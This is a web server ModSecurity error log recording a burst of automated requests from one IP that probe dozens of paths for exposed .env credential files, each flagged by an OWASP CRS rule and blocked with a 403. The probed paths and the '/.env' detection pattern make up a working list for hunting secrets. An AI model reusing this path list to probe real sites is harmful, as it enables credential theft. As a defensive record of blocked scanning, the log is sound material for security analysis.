[Wed Feb 25 06:04:47.281992 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SAAAAAM&quot;]
[Wed Feb 25 06:04:47.282182 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SAAAAAM&quot;]
[Wed Feb 25 06:04:47.358366 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SQAAAAM&quot;]
[Wed Feb 25 06:04:47.358681 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SQAAAAM&quot;]
[Wed Feb 25 06:04:47.358894 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SQAAAAM&quot;]
[Wed Feb 25 06:04:47.460162 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SgAAAAM&quot;]
[Wed Feb 25 06:04:47.460442 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SgAAAAM&quot;]
[Wed Feb 25 06:04:47.460632 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5SgAAAAM&quot;]
[Wed Feb 25 06:04:47.538522 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /3-sequelize/final/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5TAAAAAM&quot;]
[Wed Feb 25 06:04:47.538801 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5TAAAAAM&quot;]
[Wed Feb 25 06:04:47.539008 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5TAAAAAM&quot;]
[Wed Feb 25 06:04:47.577818 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYUgAAAAc&quot;]
[Wed Feb 25 06:04:47.578121 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYUgAAAAc&quot;]
[Wed Feb 25 06:04:47.578310 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYUgAAAAc&quot;]
[Wed Feb 25 06:04:47.657153 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYUwAAAAc&quot;]
[Wed Feb 25 06:04:47.657446 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYUwAAAAc&quot;]
[Wed Feb 25 06:04:47.657634 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYUwAAAAc&quot;]
[Wed Feb 25 06:04:47.729581 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /31_structure_tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5TQAAAAM&quot;]
[Wed Feb 25 06:04:47.729863 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5TQAAAAM&quot;]
[Wed Feb 25 06:04:47.730105 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aZ6C77Zegw_qLbSTRXm5TQAAAAM&quot;]
[Wed Feb 25 06:04:47.831624 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYVQAAAAc&quot;]
[Wed Feb 25 06:04:47.831911 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYVQAAAAc&quot;]
[Wed Feb 25 06:04:47.832108 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYVQAAAAc&quot;]
[Wed Feb 25 06:04:47.943766 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYVgAAAAc&quot;]
[Wed Feb 25 06:04:47.944053 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYVgAAAAc&quot;]
[Wed Feb 25 06:04:47.944266 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ6C74v6AM5Bs3q_JQDYVgAAAAc&quot;]
[Wed Feb 25 06:04:48.102978 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app-order-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWAAAAAc&quot;]
[Wed Feb 25 06:04:48.103230 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWAAAAAc&quot;]
[Wed Feb 25 06:04:48.103396 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWAAAAAc&quot;]
[Wed Feb 25 06:04:48.178054 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWgAAAAc&quot;]
[Wed Feb 25 06:04:48.178292 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWgAAAAc&quot;]
[Wed Feb 25 06:04:48.178495 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWgAAAAc&quot;]
[Wed Feb 25 06:04:48.219706 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWwAAAAc&quot;]
